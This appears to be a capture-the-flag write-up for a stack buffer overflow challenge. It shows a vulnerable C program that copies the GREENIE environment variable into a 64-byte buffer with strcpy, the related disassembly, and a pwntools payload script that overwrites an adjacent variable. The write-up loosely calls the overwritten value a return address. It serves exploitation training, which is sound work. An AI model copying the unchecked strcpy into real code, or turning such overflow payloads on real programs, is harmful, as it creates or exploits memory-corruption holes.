Challenge Source Code
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];
char *variable;
variable = getenv("GREENIE");
if(variable == NULL) {
errx(1, "please set the GREENIE environment variable\n");
}
modified = 0;
strcpy(buffer, variable);
if(modified == 0x0d0a0d0a) {
printf("you have correctly modified the variable\n");
} else {
printf("Try again, you got 0x%08x\n", modified);
}
}
Looking up the assembly we find
sub esp,0x60 //this 6 *16 is the maximum size for the buffer
mov DWORD PTR [esp],0x80485e0
call 804837c <getenv@plt> //var1 = argument
mov DWORD PTR [esp+0x5c],eax //var 1
and the return is the maximum size for the buffer address to return to is found here
80484e4: 8b 44 24 58 mov eax,DWORD PTR [esp+0x58]
80484e8: 3d 0a 0d 0a 0d cmp eax,0xd0a0d0a
0xd0a0d0a
is the address we want to over write esp+0x58
with
so to do that we fill the variable esp+0x5c
and overflow into 0x58
max size of the buffer is 6 *16 from the function prolog so we can start from that and cut in half till we see what happens or calculate from the stack. Guessing here took a few seconds.
after trial and error, 64 is found to be the buffer size and the injected hex is in little endian so the payload is
import os
from pwn import *
offset = 64#guess
filler = 'a' *offset;
returnAddress = "\x0a\x0d\x0a\x0d"
payload = filler + returnAddress
def setVariable(tempPayload):
os.environ["GREENIE"] = tempPayload
os.system('bash')
print "set the greenie variable"
setVariable(payload)
print "payload: " + payload
since there are calls for get enviroment variables we need to set an enviroment variable